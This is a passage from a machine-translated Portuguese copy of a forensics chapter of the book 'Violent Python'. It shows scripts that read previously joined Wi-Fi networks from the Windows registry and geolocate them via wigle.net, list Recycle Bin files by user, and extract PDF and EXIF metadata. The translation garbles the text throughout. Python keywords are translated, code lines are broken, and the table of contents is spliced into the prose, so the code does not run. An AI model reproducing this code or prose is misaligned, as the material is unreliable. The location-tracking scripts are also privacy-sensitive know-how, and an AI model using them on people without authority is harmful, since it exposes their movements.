investigando Cristo Igreja Luterana. Sr. Stone veri fi cado que um homem chamado Dennis Rader
Aplicação serviu como uma igreja de fi cer na Igreja Luterana (Regan, 2006). Com esta
artefatos com informações, a polícia solicitou um mandado para uma amostra de DNA a partir do médico
Python ...................... 100
Compreender o
registros da filha de Dennis Rader (Shapiro, 2007). A amostra de ADN con fi rmou
Skype Sqlite3 o Sr. Stone já sabia­Denis Rader era o assassino BTK. Um investidor de 31 anos
tigação que tinha esgotado 100.000 horas­homem terminou com exame do Sr. Stone
Banco de dados ......................... 100
Usando Python e nação de metadados (Regan, 2006).
Sqlite3 para automatizar
Skype Banco de Dados Computador investigações forenses provar apenas tão bom quanto o investigador e
Consultas ........................... 102as ferramentas em seu arsenal. Com demasiada frequência, um investigador pode ter um irritante
Analisando Firefox Sqlite3 pergunta, mas não tem a ferramenta para responder a sua pergunta. Digite Python. Como
bancos de dados com
Python ............................. 108
vimos nos capítulos anteriores, resolvendo problemas complexos com mínima
código de prova de uma força da linguagem de programação Python. Como veremos
investigando nas seções a seguir, podemos responder a perguntas alguma questão bastante complexa
iTunes móvel ções com linhas mínimas de código Python. Vamos começar usando algum única
backups com
Python ...................... 116 As chaves do Registro do Windows para acompanhar fisicamente um usuário.

Capítulo Encerramento .... 122
Referências ............... 122
Onde você estava? ­a Análise
Pontos de acesso wireless no registro

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 59/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
O registro do Windows contém um banco de dados hierárquico que armazena a con fi gu­
configurações de racionamento do sistema operacional. Com o advento das redes sem fio,
As lojas do Registro do Windows informações relacionadas com a conexão sem fio.
Compreender a localização eo significado destas chaves de registro pode fornecer­nos
com geo­localização informações sobre onde um laptop tem sido. A partir do Windows
Vista em diante, as lojas do registro de cada uma das redes na subchave HKLM \ SOFT­
WARE \ Microsoft \ Windows NT \ CurrentVersion \ NetworkList \ Signatures \ Sem treinador.
A partir da linha de comando do Windows, podemos listar cada uma das redes, show­
ing a pro fi le Guid, descrição da rede, nome de rede e um gateway MAC
endereço.

C: \ Windows \ system32> reg query "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \
Windows NT \
CurrentVersion \ NetworkList \ Signatures \ Sem treinador "/ s
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows
NT \ CurrentVersion \ NetworkList \ Sign
Atures \ Sem treinador \ 010103000F0000F0080000000F0000F04BCC2360E4B8F7DC8BDAF
AB8AE4DAD8
62E3960B979A7AD52FA5F70188E103148

Onde você esteve? ­Análise De Pontos de Acesso Wireless no Registro 83

ProfileGuid REG_SZ {3B24CE70­AA79­4C9A­B9CC­83F90C2C9C0D}
Descrição REG_SZ Hooters_San_Pedro
Fonte REG_DWORD 0x8

DnsSuffix REG_SZ <nenhum>

FirstNetwork REG_SZ Public_Library
DefaultGatewayMac REG_BINARY 00115024687F0000

Usando WinReg para ler o Registro do Windows
O registro armazena o endereço MAC do gateway como um tipo REG_BINARY. No
exemplo anterior, o hex bytes \ x00 \ x11 \ x50 \ x24 \ x68 \ x7F \ x00 \ x00 referem­se a
o endereço real 00: 11: 50: 24: 68: 7F. Vamos escrever uma função rápida de converter
o valor REG_BINARY para um endereço MAC real. Sabendo o endereço MAC
da rede sem fio pode ser útil, como veremos mais tarde.
val2addr def (val):
addr = ""
para ch no val:
addr + = ( "% 02x"% ord (ch))
addr = addr.strip ( "") .replace ( "", "") [00:17]
endereço de retorno
Agora, vamos escrever uma função para extrair o nome da rede e endereço MAC para
cada rede listada pro fi le a partir das teclas específicas no registro do Windows. Para
fazer isso, vamos utilizar o _winreg biblioteca, instalado por padrão com o Win­
dows padrão Python Installer. Depois de ligar para o registro, podemos abrir
a chave com o OpenKey () função e loop através da rede pro fi les
sob essa chave. Para cada pro fi le, que contém os seguintes sub­chaves: Pro fi leGuid,
Descrição, Fonte, DnsSuf fi x, FirstNetwork, DefaultGatewayMac. o regis­
tente índices de chave do nome da rede e DefaultGatewayMAC como o quarto e quinto
valores na matriz. agora podemos enumerar cada uma dessas chaves e imprimi­los
para a tela.
de _winreg import *
printNets def ():
net = "SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion" + \
"\ NetworkList \ Signatures \ Sem treinador"
key = OpenKey (HKEY_LOCAL_MACHINE, net)
print '\ n [*] Networks você juntou.
for i in range (100):
experimentar:
guid = EnumKey (key, i)
NETKEY = OpenKey (key, str (guid))

84 CAPÍTULO 3: As investigações forenses com Python

(N, addr, t) = EnumValue (NETKEY, 5)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 60/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
(N, nome, t) = EnumValue (NETKEY, 4)
MACADDR = val2addr (endereço)
netname = str (nome)
print '[+]' + netname + '' + MACADDR
CloseKey (NETKEY)
exceto:
pausa

Reunindo tudo, agora temos um script que irá imprimir o ante­
amente ligado redes wireless armazenadas no Registro do Windows.
de _winreg import *

val2addr def (val):
addr = ''
para ch no val:
addr + = '% 02x'% ord (ch)
addr = addr.strip ( '') .replace ( '', ':') [00:17]
endereço de retorno
printNets def ():
net = "SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion" + \
"\ NetworkList \ Signatures \ Sem treinador"
key = OpenKey (HKEY_LOCAL_MACHINE, net)
print '\ n [*] Networks você juntou.
for i in range (100):
experimentar:
guid = EnumKey (key, i)
NETKEY = OpenKey (key, str (guid))
(N, addr, t) = EnumValue (NETKEY, 5)
(N, nome, t) = EnumValue (NETKEY, 4)
MACADDR = val2addr (endereço)
netname = str (nome)
print '[+]' + netname + '' + MACADDR
CloseKey (NETKEY)
exceto:
pausa
def main ():
printNets ()
se __name__ == "__main__":
a Principal()

Onde você esteve? ­Análise De Pontos de Acesso Wireless no Registro 85

Correndo o nosso script contra um laptop alvo, vemos o anteriormente ligado
redes sem fio, juntamente com seus endereços MAC. Ao testar o script,
garantir que você está correndo de dentro de uma consola de administrador ou você será
incapaz de ler as chaves.

C: \ Users \ investigador \ Desktop \ python discoverNetworks.py
[*] Networks você juntou.
[ + ] Hooters_San_Pedro, 00: 11: 50: 24: 68: 7F
[ + ] LAX Airport, 00: 30: 65: 03: E8: c6
[ + ] Senate_public_wifi, 00: 0b: 85: 23: 23: 3e

Usando Mecanizar a apresentar o endereço MAC para Wigle
No entanto, o script não termina aqui. Com o endereço MAC de um wireless
ponto de acesso, que agora também pode imprimir a localização física do acesso
apontam também. Muito poucos bancos de dados, tanto de código aberto e proprietário, con­
enormes listas Tain de pontos de acesso sem fio correlacionados ao seu físico
locais. produtos proprietários, como telefones celulares usam esses bancos de dados para geo
localizar sem a utilização de GPS.
O banco de dados SkyHook, disponível em http://www.skyhookwireless.com/, pro­
vides um kit de desenvolvimento de software para localizar geograficamente baseado fora de posicionamento Wi­Fi.
Um projeto de código aberto desenvolvido por Ian McCracken desde o acesso a esta
banco de dados para vários anos na http://code.google.com/p/maclocate/. No entanto,
apenas recentemente SkyHook mudou o SDK para usar uma chave de API para interagir com o
banco de dados. Google também manteve uma igualmente grande banco de dados com a finalidade de
correlacionando ponto de acesso endereços MAC para locais físicos. No entanto, pouco
após Gorjan Petrovski desenvolveu um roteiro NMAP NSE para interagir com ele,
Google preterido interação open source com o banco de dados (Google, 2012;
Petrovski, 2011). Microsoft bloqueado para baixo um semelhante Wi­Fi geo­localização de banco de dados
Pouco depois, citando preocupações com a privacidade (Bright, 2011).

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 61/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Um banco de dados restante e projeto, wigle.net, de código aberto continua a permitir
usuários a procura de locais físicos a partir de um endereço de ponto de acesso. após reg­
per­ der para uma conta, o usuário pode interagir com wigle.net com um pouco criativo
script Python. Vamos rapidamente examinar como construir um script para interagir com
wigle.net.
Usando wigle.net, um usuário vai logo perceber que ele ou ela deve interagir com
três páginas separadas, a fim de retornar um resultado Wigle. Primeiro, ele deve abrir o
wigle.net página inicial no http://wigle.net; seguinte, o usuário deve fazer login para Wigle
em http://wigle.net//gps/gps/main/login. Finalmente, o usuário pode consultar a fi cações c
endereço MAC SSID sem fio na página de http://wigle.net/gps/gps/main/con fi r­
mquery /.Capturando o MAC address consulta, nós ver que o netid parâmetro

86 CAPÍTULO 3: As investigações forenses com Python

contém o endereço MAC no Post HTTP que solicita a localização GPS
o ponto de acesso sem fio.
POST / gps / gps / main / confirmquery / HTTP / 1.1
Accept­Encoding: identidade
Content­Length: 33
Anfitrião: wigle.net
User­Agent: AppleWebKit / 531.21.10
Connection: close
Content­Type: application / x­www­form­urlencoded
netid = 0A% 3A2C% 3AEF% 3A3D% 3A25% 3A1B

<.. Cortou ..>
Além disso, vemos a resposta da página inclui as coordenadas GPS.
A string maplat = 47.25264359 & maplon = ­87,25624084 contém o lati­
tude e longitude do ponto de acesso.

<class tr = "search"> <td>
<a href = "/ GPS / GPS / Mapa / onlinemap2 / maplat? = 47,25264359 & maplon = ­
87.25624084 & mapzoom = 17 & ssid = McDonald FREE Wifi & netid = 0A: 2C: EF: 3D:
25: 1B "> Obter Mapa </a> </ td>
<Td> 0A: 2C: EF: 3D: 25: 1B </ td> <td> McDonald FREE Wifi </ td> <

Com esta informação, agora temos o suficiente para construir uma função simples que
voltará a latitude ea longitude de um ponto de acesso sem fio como registrado em
Wigle a base de dados. Observe o uso da biblioteca mechanize. disponível a partir de
http://wwwsearch.sourceforge.net/mechanize/, mechanize permite stateful web
programação em Python. Isto significa que uma vez que log corretamente para o Wigle
serviço, ele irá armazenar e reutilizar o cookie de autenticação para nós.
O script pode parecer complexo, mas vamos rapidamente atravessá­la juntos.
Primeiro, criamos uma instância de um navegador mecanizar. Em seguida, abrimos a inicial
A página wigle.net. Em seguida, codificar o nosso nome de usuário e senha como parâmetros e
solicitar um login na página de login Wigle. Uma vez que tenhamos login,
criamos um posto de HTTP utilizando o netid parâmetro como o endereço MAC para pesquisa
a base de dados. Nós, então, procurar o resultado de nosso post HTTP para os termos maplat =
e maplon = para os nossos latitude e longitude. Uma vez encontrado,
devolver essas coordenadas como uma tupla.
importação mecanizar, urllib, re, urlparse
def wiglePrint (nome de usuário, senha, netid):
navegador = mechanize.Browser ()
browser.open ( 'http://wigle.net')
reqData = urllib.urlencode ({ 'credential_0': nome de usuário,

Onde você esteve? ­Análise De Pontos de Acesso Wireless no Registro 87

'Credential_1': password})
browser.open ( 'https://wigle.net/gps/gps/main/login', reqData)
params = {}
params [ 'netid'] = netid
reqParams = urllib.urlencode (params)
respURL = 'http://wigle.net/gps/gps/main/confirmquery/'
resp = browser.open (respURL, reqParams) .read ()
mapLat = 'N / A'
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 62/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
mapLon = 'N / A'
Rlat = re.findall (r'maplat =. * \ & ', resp)
se Rlat:
mapLat = Rlat [0] .Split ( 'e') [0] .Split ( '=') [1]
rLon = re.findall (r'maplon =. * \ & ', resp)
se rLon:
mapLon = rLon [0] .Split
print '[­] Lat:' + mapLat + ', Lon:' + mapLon

Incluindo a funcionalidade de endereços MAC Wigle para o nosso script original, que agora
ter a capacidade de analisar um registro para acesso sem fio conectado anteriormente
pontos e, em seguida, olhar para cima suas localizações físicas.

import os
optparse importação
mecanizar importação
urllib importação
importação re
urlparse importação
de _winreg import *
val2addr def (val):
addr = ''
para ch no val:
addr + = '% 02x'% ord (ch)
addr = addr.strip ( '') .replace ( '', ':') [00:17]
endereço de retorno
def wiglePrint (nome de usuário, senha, netid):
navegador mechanize.Browser = ()
browser.open ( 'http://wigle.net')
reqData = urllib.urlencode ({ 'credential_0': nome de usuário,
'Credential_1': password})

88 CAPÍTULO 3: As investigações forenses com Python

browser.open ( 'https://wigle.net//gps/gps/main/login', reqData)
params = {}
params [ 'netid'] = netid
reqParams = urllib.urlencode (params)
respURL = 'http://wigle.net/gps/gps/main/confirmquery/'
resp = browser.open (respURL, reqParams) .read ()
mapLat = 'N / A'
mapLon = 'N / A'
Rlat = re.findall (r'maplat =. * \ & ', resp)
se Rlat:
mapLat = Rlat [0] .Split ( 'e') [0] .Split ( '=') [1]
rLon = re.findall (r'maplon =. * \ & ', resp)
se rLon:
mapLon = rLon [0] .Split
print '[­] Lat:' + mapLat + ', Lon:' + mapLon
printNets def (nome de usuário, senha):
net = \
"SOFTWARE \ Microsoft \ Windows
NT \ CurrentVersion \ NetworkList \ Signatures \ Sem treinador "
key = OpenKey (HKEY_LOCAL_MACHINE, net)
print '\ n [*] Networks você juntou.
for i in range (100):
experimentar:
guid = EnumKey (key, i)
NETKEY = OpenKey (key, str (guid))
(N, addr, t) = EnumValue (NETKEY, 5)
(N, nome, t) = EnumValue (NETKEY, 4)
MACADDR = val2addr (endereço)
netname = str (nome)
print '[+]' + netname + '' + MACADDR
wiglePrint (nome de usuário, senha, MACADDR)
CloseKey (NETKEY)
exceto:
pausa
def main ():

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 63/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
analisador = \
optparse.OptionParser ( "uso% prog" +
"­u <Wigle nome de usuário> ­p <password Wigle>"
)

Usando Python para recuperar itens excluídos na Lixeira 89

parser.add_option ( '­ u', dest = 'username', type = 'string',
help = 'especifique a senha Wigle')
parser.add_option ( '­ p', dest = 'password', type = 'string',
help = 'especificar nome de usuário Wigle')
(Opções, args) = parser.parse_args ()
username = options.username
password = options.password
se o nome == Nenhum ou senha == None:
parser.usage de impressão
exit (0)
outro:
printNets (username, password)
se __name__ == '__main__':
a Principal()

Correndo o nosso script com a nova funcionalidade, agora vemos o anteriormente con­
redes sem fio avaliação conectado e suas localizações físicas. Com o conhecimento de
onde um computador tem sido, vamos agora usar a próxima seção para examinar o lixo.

C: \ Users \ investigador \ Desktop \ python discoverNetworks.py
[*] Networks você juntou.
[+] Hooters_San_Pedro, 00: 11: 50: 24: 68: 7F
[­] Lat: 29.55995369, Lon: ­98,48358154
[+] LAX Airport, 00: 30: 65: 03: E8: c6
[­] Lat: 28.04605293, Lon: ­82,60256195
[+] Senate_public_wifi, 00: 0b: 85: 23: 23: 3e
[­] Lat: 44.95574570, Lon: ­93,10277557

Usando Python para recuperar itens excluídos no
A lixeira
Em sistemas operacionais da Microsoft, a Lixeira serve como uma pasta especial que
contém excluído fi les. Quando um usuário exclui fi les através do Windows Explorer, o opera­
sistema de ating coloca o fi les nesta pasta especial, marcando­os para exclusão
mas na verdade não removê­los. No Windows 98 e sistemas anteriores com uma FAT
fi sistema de le, o C: \ \ diretório reciclado mantém o diretório Lixeira. opera­
sistemas ing que suportam NTFS, incluindo o Windows NT, 2000 e XP, loja
Lixeira na pasta C: \ Recycler \ diretório. Windows Vista e 7 armazenar o
diretório em C: \ $ Recycle.Bin.

90 CAPÍTULO 3: As investigações forenses com Python

Usando o módulo OS encontrar itens excluídos
Para permitir que o nosso script para permanecer independente do sistema operacional, vamos escrever
uma função para testar cada um dos possíveis candidatos directórios e retornar o primeiro Fi
aquele que existe no sistema.

import os
def returnDir ():
dirs = [ 'C: \\ Recycler \\', 'C: \\ reciclado \\', 'C: \\ $ Recycle.Bin \\']
para recycleDir em dirs:
Se os.path.isdir (recycleDir):
voltar recycleDir
Nenhum voltar

Depois de descobrir o diretório Lixeira, vamos precisar para inspecionar a sua con­

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 64/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
tendas. Observe os dois subdiretórios. Ambos contêm a string S­1­5­21­
1275210071­1715567821­725345543­ e terminar com 1005 ou 500. Este
corda representa o usuário SID, o que corresponde a uma conta de usuário único na
máquina.
C: \ RECYCLER> dir / a
O volume na unidade C não tem rótulo.
Volume Serial Number é 882a­6E93
Directory of C: \ RECYCLER
04/12/2011 09h24 <Dir>
.
<Dir>
04/12/2011 09h24
..
04/12/2011 09h56 <Dir> S­1­5­21­1275210071­1715567821­
725345543­
1005
04/12/2011 09h20 <Dir> S­1­5­21­1275210071­1715567821­
725345543­
500
0 arquivo (s) 0 bytes
4 Dir (s) 30,700,670,976 bytes free

Python correlacionar SID para Usuário
Nós vamos usar o registro do Windows para traduzir essa SID para um nome de usuário exato.
Ao inspecionar as janelas HKEY_LOCAL_MACHINE chave de registro \ SOFT­
WARE \ Microsoft \ Windows NT \ CurrentVersion \ ProfileList \ <SID> \ ProfileI­
magePath, nós vê­lo retornar um valor de% systemdrive% \ Documents and
Settings \ <USERID>. Na seguinte figura, vemos que isso nos permite

Usando Python para recuperar itens excluídos na Lixeira 91

traduzir o SID S­1­5­21­1275210071­1715567821­725345543­1005 directamente
para o nome de usuário "alex".
C: \ RECYCLER> reg query
"HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \
ProfileList \ S­1­5­21­1275210071­1715567821­725345543­1005 "/ v
ProfileImagePath
! REG.EXE versão 3.0
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows
NT \ CurrentVersion \ ProfileList \ S­1­5­21­1275210071­1715567821­
725345543­1005 ProfileImagePath
REG_EXPAND_SZ% SystemDrive% \ Documents and Settings \ alex

À medida que vai querer saber quem apagou que fi les na Lixeira, vamos escrever um
pequena função para traduzir cada SID em um nome de usuário. Isto irá permitir­nos para imprimir
alguma saída mais útil quando se recuperar itens excluídos da Lixeira. este
função irá abrir o registro para examinar o Pro fi leImagePath Key, fi nd o
valor e retornar o nome localizada após a última barra invertida na userpath.
de _winreg import *
sid2user def (sid):
experimentar:
key = OpenKey (HKEY_LOCAL_MACHINE,
"SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ ProfileList"
+ '\\' + Sid)
(Valor, tipo) = QueryValueEx (key, 'ProfileImagePath')
user = value.split ( '\\') [­ 1]
user retorno
exceto:
sid retorno

Finalmente, vamos colocar todo o nosso código em conjunto para criar um script que irá imprimir o
excluída fi les ainda na Lixeira.
import os
optparse importação
de _winreg import *
sid2user def (sid):
experimentar:
key = OpenKey (HKEY_LOCAL_MACHINE,
"SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ ProfileList"
+ '\\' + Sid)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 65/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

92 CAPÍTULO 3: As investigações forenses com Python

(Valor, tipo) = QueryValueEx (key, 'ProfileImagePath')
user = value.split ( '\\') [­ 1]
user retorno
exceto:
sid retorno
def returnDir ():
dirs = [ 'C: \\ Recycler \\', 'C: \\ reciclado \\', 'C: \\ $ Recycle.Bin \\']
para recycleDir em dirs:
Se os.path.isdir (recycleDir):
voltar recycleDir
Nenhum voltar
def findRecycled (recycleDir):
DIRlist = os.listdir (recycleDir)
para sid em DIRlist:
files = os.listdir (recycleDir + sid)
user = sid2user (sid)
print '\ n [*] Lista de arquivos de usuário:' + str (usuário)
para o arquivo em arquivos:
print '[+] Encontrado arquivo:' + str (arquivo)
def main ():
recycledDir returnDir = ()
findRecycled (recycledDir)
se __name__ == '__main__':
a Principal()

Correndo o nosso código dentro de um alvo, vemos que o script descobre dois usuários: alex
e Administrador. Ele lista o fi les contido na Lixeira de cada usuário. Dentro
a próxima seção, vamos examinar um método para examinar alguns dos conteúdos
dentro daqueles fi les que pode ser útil para uma investigação.
Microsoft Windows XP [Versão 5.1.2600]
(C) Copyright 1985­2001 Microsoft Corp.
C: \> python dumpRecycleBin.py
[*] Arquivos listagem para Usuário: alex
[+] Arquivo encontrado: Notes_on_removing_MetaData.pdf
[+] Arquivo encontrado: ANONOPS_The_Press_Release.pdf
[*] Lista de arquivos de usuário: Administrador
[+] Encontrado arquivo: 192.168.13.1­router­config.txt
[+] Arquivo encontrado: Room_Combinations.xls
C: \ Documents and Settings \ john \ Desktop>

metadados 93

METADATA
Nesta seção, vamos escrever alguns scripts para extrair metadados de alguns fi les.
Um objeto não é claramente visível de fi les, os metadados podem existir em documentos, Spreadsheets
folhas, imagens, áudio e vídeo fi le tipos. O aplicativo de criação pode armazenar
detalhes como autores do fi do le, criação e modi fi cação vezes, potenciais
revisões e comentários. Por exemplo, uma câmera de telefone pode imprimir a GPS
localização de uma foto ou um aplicativo Microsoft Word pode armazenar o autor de um
documento do Word. Enquanto a verificação de cada fi indivíduo le parece uma tarefa árdua,
podemos automatizar esse utilizando Python.

Usando pyPdf para analisar Metadados PDF
Vamos usar Python para recriar rapidamente a investigação forense de um documento
que provou ser útil para a prisão de um membro do grupo de hackers Anonymous.
Wired.com ainda espelha a ANONOPS_The_Press_Release.pdf documento. Nós
pode começar fazendo o download do documento usando o utilitário wget.
forense: ~ # wget
http://www.wired.com/images_blogs/threatlevel/2010/12/ANONOPS_The_
Press_Release.pdf
­­2012­01­19 11: 43: 36­­
http://www.wired.com/images_blogs/threatlevel/2010/12/ANONOPS_The_
Press_Release.pdf

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 66/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Resolver www.wired.com ... 64.145.92.35, 64.145.92.34
Ligar a www.wired.com | 64.145.92.35 |: 80 ... conectado.
solicitação HTTP enviada, aguardando resposta ... 200 OK
Duração: 70214 (69K) [application / pdf]
Salvando em: 'ANONOPS_The_Press_Release.pdf.1'
100% [ =============================================== ===
================================ >] 70,214 364K / s em 0.2s

DAS TRINCHEIRAS
Anonymous 'Metadados falha
Em 10 de dezembro de 2010, o hacker groupAnonymous postou um comunicado de imprensa delineando a moti­
vações por trás de um ataque recente chamada Operação Payback (Prefeito, 2010). irritados com o com­
companhias que haviam retirou o suporte para o site WikiLeaks, o Anonymous chamado de retaliação
através da realização de uma negação de serviço distribuída (DDoS) contra algumas das partes envolvidas.
O hacker postou o comunicado de imprensa sem assinatura e sem atribuição. Distribuído como um Portable
Document Format (PDF) fi le, o comunicado de imprensa continha metadados. Além do programa
utilizada para criar o documento, os metadados PDF continha o nome do seu autor, o Sr. Alex
Tapanaris. Em poucos dias, a polícia grega prendeu o Sr. Tapanaris (Leyden, 2010).

94 CAPÍTULO 3: As investigações forenses com Python

2012­01­19 11:43:39 (364 KB / s) ­ 'ANONOPS_The_Press_Release.pdf "salvo
[70214/70214]

PyPdf é um excelente utilitário de terceiros para o gerenciamento de documentos PDF e
está disponível para download a partir http://pybrary.net/pyPdf/. Ele oferece a capaci­
dade para extrair informações do documento, cisão, fusão, colheita, criptografar e descriptografar
documentos. Para extrair metadados, nós utilizamos o método .getDocumentInfo ().
Este método retorna uma matriz de tuplas. Cada tupla contém a descrição de
o elemento de metadados e seu valor. Iteração através desta matriz imprime o
toda metadados do documento PDF.
pyPdf importação
de pyPdf PdfFileReader importação
def printMeta (nome do arquivo):
PDFfile = PdfFileReader (arquivo (filename, 'rb'))
DOCINFO = pdfFile.getDocumentInfo ()
print '[*] PDF metadados para:' + str (nome do arquivo)
para metaItem em DOCINFO:
print '[+]' + metaItem + ':' + DOCINFO [metaItem]

Adicionando um analisador opção para identificar a fi especi fi c le, temos uma ferramenta que pode iden­
tificar os metadados incorporado em um documento PDF. Da mesma forma, podemos modificar a nossa
script para testar a especificidade metadados fi c, como um usuário fi c específica. Certamente, pode ser
úteis para a aplicação da lei grega de funcionários fi para procurar fi les que também lista Alex
Tapanaris como o autor.
pyPdf importação
optparse importação
de pyPdf PdfFileReader importação
def printMeta (nome do arquivo):
PDFfile = PdfFileReader (arquivo (filename, 'rb'))
DOCINFO = pdfFile.getDocumentInfo ()
print '[*] PDF metadados para:' + str (nome do arquivo)
para metaItem em DOCINFO:
print '[+]' + metaItem + ':' + DOCINFO [metaItem]
def main ():
parser = optparse.OptionParser ( 'uso% prog "+ \
"­F <Nome do arquivo PDF> ')
parser.add_option ( '­ F', dest = 'filename', type = 'string', \
help = 'especificar o nome do arquivo PDF')
(Opções, args) = parser.parse_args ()

metadados 95

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 67/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
fileName = options.fileName
Se filename == None:
parser.usage de impressão
exit (0)
outro:
printMeta (nome do arquivo)
se __name__ == '__main__':
a Principal()

Correndo o nosso script PdfReader contra o Anonymous Press Release, vemos o
metadados mesmo que levou autoridades gregas para prender o Sr. Tapanaris.
forense: ~ # python pdfRead.py ­F ANONOPS_The_Press_Release.pdf
[*] PDF metadados para: ANONOPS_The_Press_Release.pdf
[+] / Autor: Alex Tapanaris
[+] 3,2 /Producer:OpenOffice.org
[+] / Criador: Escritor
[+] / CreationDate: D: 20101210031827 + 02'00 '

Entendimento metadados EXIF
A imagem de câmbio fi le formato (EXIF) padrão define as especi fi cações de como
a imagem da loja e fi áudio les. Dispositivos como câmeras digitais, smartphones e
scanners usam esse padrão para salvar imagem fi les áudio ou. A norma Exif contém
várias etiquetas úteis para uma investigação forense. Phil Harvey escreveu uma ferramenta apropriadamente
chamado exiftool (disponível a partir de http://www.sno.phy.queensu.ca/~phil/exiftool/)
que pode analisar essas tags. Examinar todas as etiquetas EXIF ​ e m uma foto pode resultar em

várias páginas de informação, por isso vamos examinar uma versão cortou de algumas infor­
Tag mação. Observe que as etiquetas EXIF conter o nome do modelo da câmera do iPhone 4S
bem como a latitude e longitude GPS da imagem real. Tal
informação pode ser útil na organização de imagens. Por exemplo, o Mac OS
aplicação X iPhoto usa as informações de localização para organizar ordenadamente fotos
em um mapa do mundo. No entanto, esta informação também tem muitos usos maliciosos.
Imagine um soldado colocando fotos Exif­tag em um blog ou um site da Web: o inimigo
poderia baixar conjuntos inteiros de fotos e saber todos os movimentos que do soldado
em segundos. Na seção seguinte, vamos construir um script para ligar a um Web
local, baixar todas as imagens no site, e, em seguida, verificá­los para Exif metadados.
investigador foto.jpg $ exiftool
ExifTool número de versão : 8,76
Nome do arquivo : foto.jpg
Diretório : /home/investigator/photo.JPG
Tamanho do arquivo : 1626 kB

96 CAPÍTULO 3: As investigações forenses com Python

Arquivo Modificação Data / Hora : 2012: 02: 01 08: 25: 37­07: 00
permissões de arquivo : Rw­r ­ r­­
Tipo de arquivo : JPEG
Tipo MIME : Image / jpeg
Exif Byte Order : Big­endian (Motorola, MM)
Faço : Maçã
Câmara Nome do modelo : iPhone 4S
Orientação : Rodar 90 CW
<.. Cortou ..>
GPS Altitude : 10 m acima do nível do mar
GPS Latitude : 89 DEG 59 '59,97 "N
GPS Longitude : 36 DEG 26 '58,57 "W
<.. Cortou ..>

Transferir Imagens com BeautifulSoup
Disponível a partir http://www.crummy.com/software/BeautifulSoup/, bonita
Sopa nos permite analisar rapidamente os documentos HTML e XML. Leonard Richard­
filho lançou a última versão do Beautiful Soup em 29 de maio de 2012. Para atualizar
para a última versão on Backtrack, use easy_install para buscar e instalar o Beau­
biblioteca tifulsoup4.
investigador: ~ # easy_install beautifulsoup4
Procura beautifulsoup4
leitura http://pypi.python.org/simple/beautifulsoup4/
<.. Cortou ..>
instalado /usr/local/lib/python2.6/dist­packages/beautifulsoup4­4.1.0­
py2.6.egg
dependências de processamento para beautifulsoup4
dependências de processamento acabados para beautifulsoup4

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 68/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

Nesta seção, vamos bonita Soup para raspar o conteúdo de um documento HTML
ment para todas as imagens encontradas no documento. Observe que estamos usando o
biblioteca urllib2 para abrir o conteúdo de um documento e lê­lo. Em seguida, nós podemos
criar um objeto Beautiful Soup ou uma árvore de análise que contém os objetos diferentes
do documento HTML. Nesse objeto, que irá extrair todas as tags de imagem por
pesquisar usando o método ndall .fi ( 'img'). Este método retorna uma matriz de todos
as tags de imagem, que vamos voltar.
urllib2 de importação
de BS4 BeautifulSoup importação
findImages def (URL):

metadados 97

print '[+] Encontrando imagens em' + url
urlContent = urllib2.urlopen (url) .read ()
sopa = BeautifulSoup (urlContent)
imgTags = soup.findAll ( "img")
